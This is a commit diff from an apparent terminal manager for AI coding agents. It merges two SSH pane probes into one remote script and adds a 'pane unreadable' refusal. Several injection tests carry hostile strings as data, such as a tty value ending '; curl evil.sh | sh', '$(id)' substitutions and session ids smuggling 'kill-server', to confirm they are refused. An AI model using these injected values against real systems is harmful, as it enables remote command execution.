Skip to content

Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.

fix(messaging): one-round-trip SSH pane probe + honest targetPaneUnreadable refusal

enes4a94b2d457cc
diff --git a/src/core/agents/agent-message-decide.test.ts b/src/core/agents/agent-message-decide.test.ts
index abb0d16ee..06ae3507a 100644
--- a/src/core/agents/agent-message-decide.test.ts
+++ b/src/core/agents/agent-message-decide.test.ts
@@ -74,13 +74,14 @@ describe('decideDelivery — one case per refusal', () => {
expect(retryable(o)).toBe(false)
})
- it('targetNotAgentPane on an UNKNOWN pane too — an unreadable pane is never admitted', () => {
- // `unknown` is not a shade of `not-agent` for the predicate, but for DELIVERY both refuse:
- // the one thing neither may do is write into a pane we could not read.
- expect(decideDelivery(ready({ pane: 'unknown' }))).toEqual({
- kind: 'targetNotAgentPane',
- observed: 'unknown'
- })
+ it('an UNKNOWN pane refuses as targetPaneUnreadable — never admitted, never called not-agent', () => {
+ // Fail-closed either way (writing into a pane we could not read is the injection this module
+ // exists to prevent), but honestly (issue #460): "we could not look" is not "not an agent",
+ // and the two advise a language model differently — unreadable is retryable behind the
+ // per-pair rate limiter, a kernel-confirmed not-agent is not.
+ const o = decideDelivery(ready({ pane: 'unknown' }))
+ expect(o).toEqual({ kind: 'targetPaneUnreadable' })
+ expect(retryable(o)).toBe(true)
})
it.each(['working', 'waiting', 'blocked'] as const)('targetBusy for state %s, retryable', (state) => {
@@ -237,7 +238,9 @@ describe('the decision ORDER is load-bearing', () => {
(p) => ({ ...p, target: { ...p.target!, stateVerified: true, state: undefined } }),
(p) => ({ ...p, target: { ...p.target!, state: 'working' } }),
(p) => ({ ...p, target: { ...p.target!, state: 'done' } }),
- (p) => ({ ...p, pane: 'agent' }),
+ // `pane: 'unknown'` reports unreadable; a READ pane that is not an agent reports not-agent.
+ (p) => ({ ...p, pane: 'not-agent' as const }),
+ (p) => ({ ...p, pane: 'agent' as const }),
(p) => ({ ...p, pasteAware: true })
]
const walked: string[] = []
@@ -298,7 +301,7 @@ describe('RETRYABLE', () => {
it('answers for every outcome kind the union declares', () => {
// Runtime half. The compile-time half is below and is enforced by `npm run typecheck`.
const kinds = Object.keys(RETRYABLE) as AgentMessageOutcomeKind[]
- expect(kinds.length).toBe(16)
+ expect(kinds.length).toBe(17)
for (const k of kinds) expect(typeof RETRYABLE[k]).toBe('boolean')
})
diff --git a/src/core/agents/agent-message-decide.ts b/src/core/agents/agent-message-decide.ts
index 5ec9e710d..ef5236452 100644
--- a/src/core/agents/agent-message-decide.ts
+++ b/src/core/agents/agent-message-decide.ts
@@ -68,6 +68,7 @@ export type AgentMessageOutcome =
| { kind: 'targetStatusUnverified'; note: string } // no token file — needs a human. NOT retryable.
| { kind: 'targetStatusStale' } // token file exists, no verified event yet. Retryable.
| { kind: 'targetHookScriptStale'; note: string; observedRevision?: number } // Finding F2. NOT retryable.
+ | { kind: 'targetPaneUnreadable' } // the pane probe failed/timed out — says NOTHING about the pane
| { kind: 'targetNotAgentPane'; observed: string }
| { kind: 'targetNotPasteAware' }
| { kind: 'targetGone' }
@@ -100,6 +101,7 @@ export const RETRYABLE: Record<AgentMessageOutcomeKind, boolean> = {
targetStatusUnverified: false,
targetStatusStale: true,
targetHookScriptStale: false,
+ targetPaneUnreadable: true,
targetNotAgentPane: false,
targetNotPasteAware: false,
targetGone: false,
@@ -122,6 +124,7 @@ export const DECISION_ORDER = [
'targetStatusStale',
'targetNotIdleUnknown',
'targetBusy',
+ 'targetPaneUnreadable',
'targetNotAgentPane',
'targetNotPasteAware'
] as const
@@ -355,21 +358,27 @@ export function decidePreProbe(
export function decideDelivery(f: DeliveryFacts): AgentMessageOutcome | Proceed {
const cheap = decidePreProbe(f)
if (cheap) return cheap
- // Gate 1. `unknown` is NOT a shade of `not-agent` — but for DELIVERY both refuse, because the one
- // thing neither may do is admit a pane we could not read.
+ // Gate 1, in two honest halves — and BOTH refuse, because the one thing neither may do is admit
+ // a pane we could not read. This gate must stay FAIL-CLOSED: `sendEnvelope` types bytes plus an
+ // Enter into whatever owns the pane, and an unverified pane can be a bare shell — delivering
+ // there EXECUTES the message body ("text into a pane is injection"; the herdr-shaped incidents
+ // this module's history records). A probe outage may therefore delay a delivery, never widen it.
//
- // ── DO NOT RETRY AN `unknown` VERDICT ON A FIXED SHORT TIMER WITHOUT A CIRCUIT BREAKER ────────
- //
- // Measured: `probeWithin` answers at 2s, but the `ssh` child it started lives until `runAsync`'s
- // own 15s reap, so a 2s retry loop stacks ~7 overlapping children per pane. And `childArgs`
- // carries `-o ControlMaster=auto`, so against a DEAD master each of those children does not
- // multiplex — it opens a full connection, i.e. a REAL LOGIN. A pane that is unreadable *because*
- // its master died is therefore the worst case, and it is the same shape this repo already lived
- // through at 72k logins/day (memory: ssh-controlmaster-fallback). `targetNotAgentPane` is marked
- // NOT retryable in `RETRYABLE` partly for this reason: the honest advice to a language model
- // holding an unreadable pane is not "try again in a moment".
+ // `unknown` is NOT a shade of `not-agent`, and since issue #460 it is not REPORTED as one
+ // either: the field failure was a live, idle claude pane refused as "not running its agent
+ // (observed: unknown)" for as long as the host link stayed saturated — a probe that could not
+ // answer in its 2s budget (each ssh exec silently becomes a full LOGIN when the master cannot
+ // serve a channel; measured in `remotePaneOwnerCombinedArgs`). Telling a language model the
+ // pane is "not an agent" when the truth is "we could not look" teaches it a wrong, sticky fact.
+ // `targetPaneUnreadable` says the true thing, and it IS retryable — the per-pair rate limiter
+ // sits in front of every delivery, so a retry is bounded, and the probe itself is now ONE
+ // round-trip, so a retry in the degraded state costs one fallback login, not two. That bound is
+ // what the old DO-NOT-RETRY note (a 2s loop stacking ~7 ssh children per pane — the 72k-logins
+ // shape, memory: ssh-controlmaster-fallback) was protecting; the limiter + the halved probe are
+ // what make honesty affordable now.
+ if (f.pane === 'unknown') return { kind: 'targetPaneUnreadable' }
if (f.pane !== 'agent')
- return { kind: 'targetNotAgentPane', observed: f.paneObserved ?? (f.pane === 'unknown' ? 'unknown' : 'not-agent') }
+ return { kind: 'targetNotAgentPane', observed: f.paneObserved ?? 'not-agent' }
// Last, and only when everything else passed: the pane must have ASKED for bracketed paste.
// herdr :260 — a multi-line envelope on the unframed fallback would be submitted line-by-line as
// separate turns. It is refused, never sent and hoped for.
diff --git a/src/core/agents/agent-message-flow.test.ts b/src/core/agents/agent-message-flow.test.ts
index 97b7329af..0380d42fa 100644
--- a/src/core/agents/agent-message-flow.test.ts
+++ b/src/core/agents/agent-message-flow.test.ts
@@ -404,7 +404,7 @@ describe('the limiter is consulted BEFORE any pane probe', () => {
)
expect(probes.length).toBe(1)
// An unreadable pane is refused, so still no write — the probe is the thing being counted.
- expect(outcome).toEqual({ kind: 'targetNotAgentPane', observed: 'unknown' })
+ expect(outcome).toEqual({ kind: 'targetPaneUnreadable' })
expect(writes).toEqual([])
})
})
diff --git a/src/core/agents/agent-message.test.ts b/src/core/agents/agent-message.test.ts
index 655d5daf7..029a20b6f 100644
--- a/src/core/agents/agent-message.test.ts
+++ b/src/core/agents/agent-message.test.ts
@@ -133,7 +133,8 @@ describe('deliverAgentMessage — sequencing', () => {
it('pre-flight refuses BEFORE writing anything when the pane cannot be read', async () => {
const r = recorder({ paneOwner: async () => null })
const out = await deliverAgentMessage(req(), r.deps)
- expect(out).toEqual({ kind: 'targetNotAgentPane', observed: 'unknown' })
+ // issue #460: an unreadable pane is its own refusal — not "not running its agent".
+ expect(out).toEqual({ kind: 'targetPaneUnreadable' })
expect(r.sends).toEqual([])
expect(r.order).not.toContain('bracketPasteRequested')
})
diff --git a/src/core/agents/agent-message.ts b/src/core/agents/agent-message.ts
index 125115a2d..6920b3563 100644
--- a/src/core/agents/agent-message.ts
+++ b/src/core/agents/agent-message.ts
@@ -379,7 +379,8 @@ export async function deliverAgentMessage(
}
const gate = decideDelivery(facts)
if (gate.kind !== 'proceed') return refuse(gate)
- // `before` is non-null here: `isAgentPane(null, …)` is `unknown`, which the gate refused.
+ // `before` is non-null here: `isAgentPane(null, …)` is `unknown`, which the gate refused
+ // (as `targetPaneUnreadable` since issue #460 — unreadable is not evidence of not-agent).
const owner = before as PaneOwner
// herdr :260 — a multi-line envelope on the UNFRAMED fallback would be submitted line by line
diff --git a/src/core/agents/pane-owner.test.ts b/src/core/agents/pane-owner.test.ts
index b811580b4..bbbc745e3 100644
--- a/src/core/agents/pane-owner.test.ts
+++ b/src/core/agents/pane-owner.test.ts
@@ -10,14 +10,17 @@ import fs from 'fs'
import os from 'os'
import path from 'path'
import {
+ COMBINED_PANE_MARKER,
PANE_OWNER_FMT,
foregroundArgvArgs,
foregroundPgid,
isSafeTty,
paneOwnerFrom,
+ parseCombinedPaneOwner,
parseForegroundArgv,
parsePaneOwner
} from './pane-owner'
+import { remotePaneOwnerCombinedArgs } from '../remote-ssh/control-master'
describe('PANE_OWNER_FMT', () => {
it('asks for pid, tty, current command and the pane id in one round-trip', () => {
@@ -283,3 +286,131 @@ describe.skipIf(!tmuxBin)('against a real tmux pane', () => {
expect(argv[0]).toMatch(/(^|\/)-?sh$/)
}, 30_000)
})
+
+
+describe('parseCombinedPaneOwner', () => {
+ const REPLY = [
+ `${COMBINED_PANE_MARKER}4242|/dev/pts/9|claude|%17`,
+ '4242 4242 Ss -bash',
+ '5001 5001 Sl+ claude --resume x',
+ '5002 5001 S+ rg --files'
+ ].join('\n')
+
+ it('routes the marker line through parsePaneOwner and the tail through paneOwnerFrom', () => {
+ expect(parseCombinedPaneOwner(REPLY)).toEqual({
+ panePid: 4242,
+ tty: '/dev/pts/9',
+ command: 'claude',
+ paneId: '%17',
+ argv: ['claude --resume x', 'rg --files'],
+ pids: [5001, 5002]
+ })
+ })
+
+ it('tolerates noise ABOVE the marker (a chatty remote rc file) — the fence is the anchor', () => {
+ expect(parseCombinedPaneOwner(`motd line\n${REPLY}`)?.command).toBe('claude')
+ })
+
+ it('answers null with no marker, an empty read, or identity-only output', () => {
+ expect(parseCombinedPaneOwner(null)).toBeNull()
+ expect(parseCombinedPaneOwner('')).toBeNull()
+ expect(parseCombinedPaneOwner('4242|/dev/pts/9|claude|%17')).toBeNull()
+ // Identity with no ps rows below it — the two-trip contract, kept: no rows, no owner.
+ expect(parseCombinedPaneOwner(`${COMBINED_PANE_MARKER}4242|/dev/pts/9|claude|%17`)).toBeNull()
+ })
+
+ it('refuses an identity whose tty isSafeTty rejects — a reply we do not name a pane with', () => {
+ const hostile = [
+ `${COMBINED_PANE_MARKER}42|/dev/pts/0; curl evil|node|%1`,
+ '42 42 Ss -bash',
+ '43 43 S+ node'
+ ].join('\n')
+ expect(parseCombinedPaneOwner(hostile)).toBeNull()
+ })
+
+ it('a single-row group parses to one argv and its own pid', () => {
+ const one = [`${COMBINED_PANE_MARKER}7|/dev/pts/1|sh`, '9 9 S+ sleep 5'].join('\n')
+ expect(parseCombinedPaneOwner(one)).toMatchObject({ argv: ['sleep 5'], pids: [9] })
+ })
+})
+
+/**
+ * THE REAL SCRIPT (Global Constraint 9) — `remotePaneOwnerCombinedArgs`'s remote command is
+ * generated shell no compiler checks, so it runs here for REAL: under `/bin/sh`, against a real
+ * tmux server on the `nodeterm-rmt` socket name — inside this suite's own private `TMUX_TMPDIR`,
+ * so the byte-identical script resolves a test server and can never see an SSH project's real
+ * remote socket. The bytes that ship are the bytes judged.
+ */
+describe.skipIf(!tmuxBin)('the combined remote script, under a real /bin/sh + real tmux', () => {
+ const conn = { host: 'h.example.com', user: 'deploy' } as never
+ const scriptFor = (session: string): string =>
+ remotePaneOwnerCombinedArgs(conn, '/s.sock', session).at(-1) as string
+ const rmt = (...args: string[]) =>
+ execFileSync(tmuxBin as string, ['-L', 'nodeterm-rmt', ...args], {
+ encoding: 'utf8',
+ timeout: 10_000,
+ env: { ...process.env, TMUX_TMPDIR }
+ })
+ const runScript = (session: string): string =>
+ execFileSync('sh', ['-c', scriptFor(session)], {
+ encoding: 'utf8',
+ timeout: 10_000,
+ env: { ...process.env, TMUX_TMPDIR }
+ })
+
+ afterAll(() => {
+ try {
+ rmt('kill-server')
+ } catch {
+ // never started (skipped) or already gone
+ }
+ })
+
+ it('one round-trip answers identity AND foreground argv, and the parser adopts it', () => {
+ rmt('new-session', '-d', '-s', 'nt-comb', 'sh')
+ rmt('send-keys', '-t', 'nt-comb', 'sleep 412', 'Enter')
+ let owner: ReturnType<typeof parseCombinedPaneOwner> = null
+ const deadline = Date.now() + 10_000
+ while (Date.now() < deadline) {
+ owner = parseCombinedPaneOwner(runScript('nt-comb'))
+ if (owner?.argv.some((a) => a.includes('sleep 412'))) break
+ }
+ expect(owner).not.toBeNull()
+ expect(owner!.tty).toMatch(/^\/dev\//)
+ expect(owner!.paneId).toMatch(/^%\d+$/)
+ expect(owner!.argv.join('\n')).toContain('sleep 412')
+ expect(owner!.pids?.length).toBe(owner!.argv.length)
+ }, 30_000)
+
+ it('a MISSING SESSION on a live server parses to null — measured: display-message exits 0', () => {
+ // Measured on tmux 3.4: `display-message -p -t <no-such-session>` does NOT error — the target
+ // resolution is allowed to fail and the format expands with empty fields (stdout `|||`),
+ // exit 0. The `|| exit 9` therefore only fires for a server-level failure; the missing-session
+ // answer is an empty identity, which the parser refuses — the same null the two-trip read gave.
+ let out: string | null = null
+ try {
+ out = runScript('nt-no-such-session')
+ } catch {
+ out = null // an erroring tmux is equally fine: runAsync throws, the caller answers null
+ }
+ if (out !== null) expect(parseCombinedPaneOwner(out)).toBeNull()
+ }, 15_000)
+
+ it('NO SERVER on the socket exits non-zero (the caller answers null) — never a half-answer', () => {
+ const emptyTmp = fs.mkdtempSync(path.join(os.tmpdir(), 'nt-comb-none-'))
+ let code = 0
+ try {
+ execFileSync('sh', ['-c', scriptFor('nt-comb')], {
+ encoding: 'utf8',
+ timeout: 10_000,
+ env: { ...process.env, TMUX_TMPDIR: emptyTmp },
+ stdio: ['ignore', 'pipe', 'pipe']
+ })
+ } catch (e) {
+ code = (e as { status?: number }).status ?? -1
+ } finally {
+ fs.rmSync(emptyTmp, { recursive: true, force: true })
+ }
+ expect(code).toBe(9)
+ }, 15_000)
+})
diff --git a/src/core/agents/pane-owner.ts b/src/core/agents/pane-owner.ts
index 26cc68583..dfc151128 100644
--- a/src/core/agents/pane-owner.ts
+++ b/src/core/agents/pane-owner.ts
@@ -146,10 +146,29 @@ export function foregroundArgvArgs(tty: string): { bin: string; args: string[] }
// a real pane running `sleep 300 | cat`.
return {
bin: 'ps',
- args: ['-ww', '-o', 'pid=', '-o', 'pgid=', '-o', 'stat=', '-o', 'args=', '-t', tty]
+ args: [...PS_FOREGROUND_FLAGS, '-t', tty]
}
}
+/**
+ * The `ps` flags of the foreground read, shared by the local argv builder above and the REMOTE
+ * combined script (`remotePaneOwnerCombinedArgs`) so the two legs cannot drift — the same
+ * anti-drift rule the session-memory sweep applies to its socket list. Flag-only (no tty), and
+ * none of them contains a shell metacharacter, so joining them with spaces into an sh line is
+ * byte-identical to passing them as argv.
+ */
+export const PS_FOREGROUND_FLAGS = [
+ '-ww',
+ '-o',
+ 'pid=',
+ '-o',
+ 'pgid=',
+ '-o',
+ 'stat=',
+ '-o',
+ 'args=',
+] as const
+
/** One parsed `ps` row. Internal — only the argv leaves this module. */
interface PsRow {
pid: number
@@ -245,3 +264,32 @@ export function paneOwnerFrom(
// asserted on real `ps` output instead, which is where it could actually break.
return { ...identity, argv, pids }
}
+
+
+/**
+ * The line that fences the pane identity inside the COMBINED remote read's reply (issue #460).
+ * Everything after it on that line is `PANE_OWNER_FMT` output; every line below it is the `ps`
+ * read. The marker is emitted through a quoted printf format, so the leading `##` can never be
+ * eaten as a word-initial sh comment — the exact trap `session-memory-remote` measured.
+ */
+export const COMBINED_PANE_MARKER = '##NTPANE '
+
+/**
+ * Parse the ONE-round-trip remote pane read (issue #460): the marker line carries the identity,
+ * the tail carries the `ps` rows, and both go through the exact parsers the two-trip read used —
+ * this function adds routing, never a second grammar.
+ *
+ * `isSafeTty` stays even though the tty no longer crosses into OUR command line (it is expanded
+ * inside the remote script as a quoted variable): a tty the remote printed back that this predicate
+ * refuses is a reply we do not trust enough to name a pane with, and the fail direction is the
+ * same null-means-unknown every sibling reader has.
+ */
+export function parseCombinedPaneOwner(stdout: string | null | undefined): PaneOwner | null {
+ if (!stdout) return null
+ const lines = stdout.split('\n')
+ const at = lines.findIndex((l) => l.startsWith(COMBINED_PANE_MARKER))
+ if (at === -1) return null
+ const identity = parsePaneOwner(lines[at].slice(COMBINED_PANE_MARKER.length))
+ if (!identity || !isSafeTty(identity.tty)) return null
+ return paneOwnerFrom(identity, lines.slice(at + 1).join('\n'))
+}
diff --git a/src/core/pty-manager.pane-owner.test.ts b/src/core/pty-manager.pane-owner.test.ts
index 565268497..a9c6361e4 100644
--- a/src/core/pty-manager.pane-owner.test.ts
+++ b/src/core/pty-manager.pane-owner.test.ts
@@ -80,12 +80,20 @@ async function manager(opts: { tmux?: string | null; sshRemote?: unknown } = {})
return mgr
}
-/** The default healthy script: tmux answers the format, `ps` answers the tty listing. */
+/**
+ * The default healthy answers. Local: tmux answers the format, `ps` answers the tty listing.
+ * SSH: the ONE combined exec answers the fenced identity line plus the `ps` rows in one stdout
+ * (issue #460) — the reply shape `remotePaneOwnerCombinedArgs`'s script really produces, proven
+ * against a real sh + tmux in `agents/pane-owner.test.ts`.
+ */
function healthy(file: string, args: string[]): { stdout: string } {
- if (args.includes(PANE_OWNER_FMT) || args.join(' ').includes(PANE_OWNER_FMT)) {
+ if (file === '/usr/bin/ssh') {
+ return { stdout: `##NTPANE 2485382|${TTY}|node\n${PS_OUT}\n` }
+ }
+ if (args.includes(PANE_OWNER_FMT)) {
return { stdout: `2485382|${TTY}|node\n` }
}
- if (file === 'ps' || args.join(' ').includes('ps ')) return { stdout: PS_OUT }
+ if (file === 'ps') return { stdout: PS_OUT }
return { stdout: '' }
}
@@ -126,37 +134,40 @@ describe('PtyManager.paneOwner', () => {
})
})
- it('SSH: both round-trips ride the project ControlMaster, and the local socket is never touched', async () => {
+ it('SSH: ONE round-trip rides the project ControlMaster, and the local socket is never touched', async () => {
+ // One exec, not two (issue #460): under a saturated/dead master every exec is a full ssh
+ // LOGIN, and two of them did not fit the delivery gate's 2s probe budget — a live agent pane
+ // then read as unknown, persistently.
const mgr = await manager({
sshRemote: { conn: { host: 'h', user: 'u' }, controlPath: '/tmp/cm-abc' }
})
const owner = await mgr.paneOwner(NODE)
- expect(calls).toHaveLength(2)
- expect(calls.every((c) => c.file === '/usr/bin/ssh')).toBe(true)
- expect(calls.every((c) => c.args.includes('ControlPath=/tmp/cm-abc'))).toBe(true)
+ expect(calls).toHaveLength(1)
+ expect(calls[0].file).toBe('/usr/bin/ssh')
+ expect(calls[0].args.includes('ControlPath=/tmp/cm-abc')).toBe(true)
+ const script = calls[0].args.at(-1) as string
// The REMOTE socket, never the local one — a local `nt-<id>` would be another machine's session.
- expect(calls[0].args.at(-1)).toContain(`tmux -L ${RMT_TMUX_SOCKET} display-message`)
- expect(calls.join(' ')).not.toContain(`-L ${TMUX_SOCKET} `)
- expect(calls[1].args.at(-1)).toBe(
- `ps '-ww' '-o' 'pid=' '-o' 'pgid=' '-o' 'stat=' '-o' 'args=' '-t' '${TTY}'`
- )
+ expect(script).toContain(`tmux -L ${RMT_TMUX_SOCKET} display-message`)
+ expect(script).not.toContain(`-L ${TMUX_SOCKET} `)
+ // Both halves of the read live in the one script: the fenced identity, then the ps rows.
+ expect(script).toContain("printf '%s\\n'")
+ expect(script).toContain('ps -ww -o pid= -o pgid= -o stat= -o args= -t "$tty"')
expect(owner).toMatchObject({ tty: TTY, argv: [expect.stringContaining('claude'), 'rg --files'] })
})
- it('SSH: a tty the remote host printed back is quoted, and a hostile one is never run at all', async () => {
- script.answer = (file, args) => {
- if (args.join(' ').includes(PANE_OWNER_FMT)) {
- return { stdout: `42|/dev/pts/0; curl evil.sh | sh|node\n` }
- }
- return { stdout: PS_OUT }
- }
+ it('SSH: a hostile tty in the reply is refused by the parser — never adopted as an owner', async () => {
+ // The tty no longer crosses back into OUR command line at all (it is expanded quoted inside
+ // the remote script), so the defense the old two-trip read applied at argv-build time now
+ // lives in `parseCombinedPaneOwner`: an identity whose tty `isSafeTty` refuses answers null.
+ script.answer = () => ({
+ stdout: `##NTPANE 42|/dev/pts/0; curl evil.sh | sh|node\n${PS_OUT}\n`
+ })
const mgr = await manager({
sshRemote: { conn: { host: 'h', user: 'u' }, controlPath: '/tmp/cm-abc' }
})
expect(await mgr.paneOwner(NODE)).toBeNull()
- // The tmux read happened; the `ps` was never built, so nothing hostile reached a command line.
expect(calls).toHaveLength(1)
})
diff --git a/src/core/pty-manager.ts b/src/core/pty-manager.ts
index fcbe0e77c..d72c3710c 100644
--- a/src/core/pty-manager.ts
+++ b/src/core/pty-manager.ts
@@ -31,8 +31,7 @@ import {
remotePasteDelivery,
remoteCapturePaneArgs,
remotePaneCommandArgs,
- remotePaneOwnerArgs,
- remoteForegroundArgvArgs,
+ remotePaneOwnerCombinedArgs,
remotePaneProcessArgs,
remoteTerminateForegroundArgs,
remotePaneCursorArgs
@@ -44,7 +43,7 @@ import {
forgetPaneOwner,
shouldRecordOwnership
} from './agents/pane-ownership'
-import { PANE_OWNER_FMT, foregroundArgvArgs, paneOwnerFrom, parsePaneOwner } from './agents/pane-owner'
+import { PANE_OWNER_FMT, foregroundArgvArgs, paneOwnerFrom, parseCombinedPaneOwner, parsePaneOwner } from './agents/pane-owner'
import { binariesFor, isAgentPane, type PaneOwner } from '../shared/agents/pane-owner-predicate'
import { readSpawnResources, spawnResourceNote } from './spawn-resources'
import {
@@ -4069,14 +4068,16 @@ export class PtyManager {
* command. Deliberately has NO deadline of its own: the caller bounds it (`probeWithin`), the
* same way the restart poll bounds `paneCommand`.
*
- * Two round-trips, not one: tmux does not know the foreground process group (`#{pane_pid}` is the
- * shell it forked, which is usually NOT in it), so the tty has to come back before `ps` can be
- * asked about it. On the SSH leg both ride the same ControlMaster — and both are `ssh` children
- * that outlive the caller's 2s deadline (they are reaped at `PROC_TIMEOUT_MS`), so a caller that
- * retries `unknown` on a short timer stacks them. See `agents/pane-probe.ts` for why that needs a
- * circuit breaker rather than a shorter timeout.
+ * LOCALLY two round-trips, not one: tmux does not know the foreground process group
+ * (`#{pane_pid}` is the shell it forked, which is usually NOT in it), so the tty has to come
+ * back before `ps` can be asked about it — and two local execFiles cost nothing. The SSH leg is
+ * ONE round-trip (`remotePaneOwnerCombinedArgs`, issue #460): there each exec is an `ssh` child
+ * that outlives the caller's 2s deadline (reaped at `PROC_TIMEOUT_MS`) and becomes a full LOGIN
+ * whenever the master cannot serve a channel, so a caller that retries `unknown` on a short
+ * timer stacks them. See `agents/pane-probe.ts` for why that needs a circuit breaker rather
+ * than a shorter timeout.
*
- * `remotePaneOwnerArgs` splices the session id unquoted (`-t ${sessionId}`), exactly as every
+ * `remotePaneOwnerCombinedArgs` splices the session id unquoted (`-t ${sessionId}`), exactly as every
* sibling builder does. That is safe only because `sessionName()` sanitises to `[A-Za-z0-9_-]`
* before it ever gets here — the guarantee lives THERE, not in this call.
*/
@@ -4086,18 +4087,18 @@ export class PtyManager {
const sshRemote = live?.sshRemote
try {
if (sshRemote) {
+ // ONE round-trip, not two (issue #460): under a saturated or dead ControlMaster every
+ // exec silently falls back to a FULL ssh login, and two sequential fallback logins do not
+ // fit the caller's 2s probe budget — a live agent pane then read as `unknown`,
+ // persistently. The combined script carries both halves; the parser applies the same
+ // grammars the two-trip read used. See `remotePaneOwnerCombinedArgs` for the measurement.
const ssh = findSsh()
if (!ssh) return null
- const first = await runAsync(
+ const out = await runAsync(
ssh,
- remotePaneOwnerArgs(sshRemote.conn, sshRemote.controlPath, target)
+ remotePaneOwnerCombinedArgs(sshRemote.conn, sshRemote.controlPath, target)
)
- const identity = parsePaneOwner(first.stdout)
- if (!identity) return null
- const psArgs = remoteForegroundArgvArgs(sshRemote.conn, sshRemote.controlPath, identity.tty)
- if (!psArgs) return null
- const second = await runAsync(ssh, psArgs)
- return paneOwnerFrom(identity, second.stdout)
+ return parseCombinedPaneOwner(out.stdout)
}
// The session host has no tty/tmux identity surface. Do not query an unrelated POSIX tmux
// merely because one is installed beside this native Windows generation.
diff --git a/src/core/remote-ssh/control-master.injection.test.ts b/src/core/remote-ssh/control-master.injection.test.ts
index 245840ca2..2960c6267 100644
--- a/src/core/remote-ssh/control-master.injection.test.ts
+++ b/src/core/remote-ssh/control-master.injection.test.ts
@@ -1,11 +1,10 @@
import { describe, expect, it } from 'vitest'
import {
- remoteForegroundArgvArgs,
remoteHookEnvArgs,
- remotePaneOwnerArgs,
+ remotePaneOwnerCombinedArgs,
remoteTmuxPtyArgs
} from './control-master'
-import { PANE_OWNER_FMT } from '../agents/pane-owner'
+import { COMBINED_PANE_MARKER, PANE_OWNER_FMT, PS_FOREGROUND_FLAGS } from '../agents/pane-owner'
import { accountTmuxEnvArgs } from '../claude-accounts-core'
import { remoteTmuxPathPrologue } from '../../shared/ssh'
@@ -229,66 +228,53 @@ describe('remoteTmuxPtyArgs: an attacker-controlled node id is DATA, never comma
})
/**
- * The pane-ownership read's SSH leg. `#{pane_tty}` is a value the REMOTE host printed back at us,
- * so it is data crossing into a command line the remote login shell parses — the same class as the
- * node id above, arriving through a different door.
- *
- * Two layers, and the test insists on both: `isSafeTty` refuses the value outright (so nothing is
- * built at all), and whatever does get built is `posixQuote`d. Either one alone would be a single
- * point of failure.
+ * The pane-ownership read's SSH leg — since issue #460 ONE combined script, so the injection
+ * questions moved: the session id is spliced unquoted into a script the remote login shell
+ * PARSES (refused at the splice unless it is a name this app generated), the format string must
+ * reach the remote tmux verbatim inside single quotes, and the tty never crosses back into OUR
+ * command line at all — it is cut from the reply inside the same shell and only ever expanded
+ * QUOTED, behind a `/dev/*` guard.
*/
-describe('remoteForegroundArgvArgs: a tty the remote host reported is DATA, never structure', () => {
- it('builds a single quoted ps invocation for a real tty', () => {
- const args = remoteForegroundArgvArgs(conn, '/s.sock', '/dev/pts/7')
- expect(args).not.toBeNull()
- const { argv, unquotedMeta } = shellParse(args![args!.length - 1])
- expect(unquotedMeta).toEqual([])
- expect(argv).toEqual([
- 'ps',
- '-ww',
- '-o',
- 'pid=',
- '-o',
- 'pgid=',
- '-o',
- 'stat=',
- '-o',
- 'args=',
- '-t',
- '/dev/pts/7'
- ])
- })
-
- it('refuses to build anything for a hostile tty — the second layer never has to hold', () => {
- for (const tty of [
- `/dev/pts/0;${PAYLOAD}`,
- '/dev/pts/0 && curl evil|sh',
- '/dev/$(id)',
- '/dev/`id`',
- '/dev/../../etc/passwd',
+describe('remotePaneOwnerCombinedArgs: one script, every splice accounted for', () => {
+ it('refuses a session id this app could not have generated — nothing is built at all', () => {
+ for (const sid of [
+ `nt-x;${PAYLOAD}`,
+ 'nt-x; kill-server',
+ 'nt-$(id)',
+ 'nt-`id`',
+ "nt-x' -t other",
''
]) {
- expect(remoteForegroundArgvArgs(conn, '/s.sock', tty)).toBeNull()
+ expect(() => remotePaneOwnerCombinedArgs(conn, '/s.sock', sid)).toThrow(/paste target/)
}
})
- it('the tmux half sends the format to the REMOTE tmux verbatim, on the remote socket', () => {
- const line = remotePaneOwnerArgs(conn, '/s.sock', 'nt-n1').at(-1) as string
- // The constant PATH prologue (issue #449) is the ONLY structure the line may carry: it is
- // authored here (never attacker data), quote-free (cannot flip parity of what follows), and
- // the remainder after it must still parse structure-free.
+ it('sends the format to the REMOTE tmux verbatim, single-quoted, behind the PATH prologue', () => {
+ const script = remotePaneOwnerCombinedArgs(conn, '/s.sock', 'nt-n1').at(-1) as string
const prologue = remoteTmuxPathPrologue()
- expect(line.startsWith(prologue)).toBe(true)
+ expect(script).toContain(prologue)
expect(prologue).not.toContain("'")
- const { argv, unquotedMeta } = shellParse(line.slice(prologue.length))
- expect(unquotedMeta).toEqual([])
- expect(argv.slice(0, 3)).toEqual(['tmux', '-L', 'nodeterm-rmt'])
- // The CONSTANT, not a copy of it. A literal here was a second spelling of the format that
- // drifted the moment the local one gained a field — and "verbatim" is the property under test,
- // so it has to be compared against the thing the local leg actually sends.
- expect(argv).toContain(PANE_OWNER_FMT)
- // Every one of the format's shell metacharacters (`{`, `}`, `|`) survives quoted, which is what
- // `unquotedMeta` above is asserting: the remote shell must hand tmux the string, not parse it.
+ // The CONSTANT, not a copy of it — "verbatim" is the property under test, so it is compared
+ // against the thing the local leg actually sends, quoted so the remote shell hands tmux the
+ // string rather than parsing its metacharacters ({, }, |).
+ expect(script).toContain(`display-message -p -t nt-n1 '${PANE_OWNER_FMT}'`)
expect(PANE_OWNER_FMT).toMatch(/[{}|]/)
})
+
+ it('expands the reply-derived tty only QUOTED, behind a /dev/* guard, with the shared ps flags', () => {
+ const script = remotePaneOwnerCombinedArgs(conn, '/s.sock', 'nt-n1').at(-1) as string
+ // The tty is data the remote host prints back; it stays inside the remote shell as "$tty" —
+ // there is no unquoted expansion for it to become structure through.
+ expect(script).toContain('case "$tty" in /dev/*)')
+ expect(script).toContain(`ps ${PS_FOREGROUND_FLAGS.join(' ')} -t "$tty"`)
+ // EVERY `$tty` expansion in the script is the quoted form — zero bare occurrences (the
+ // assignments expand `$o`/`${tty%%|*}`, not `$tty`).
+ expect(script.split('$tty').length).toBe(script.split('"$tty"').length)
+ expect(script).toContain('tty=${o#*|}')
+ // The identity line is fenced by the marker through a QUOTED printf format — a word-initial
+ // unquoted ## is an sh comment and would print an empty line (session-memory's measured trap).
+ expect(script).toContain(`"${COMBINED_PANE_MARKER.trimEnd()} $o"`)
+ // A failed tmux read aborts the exec (caller answers null), never half-answers.
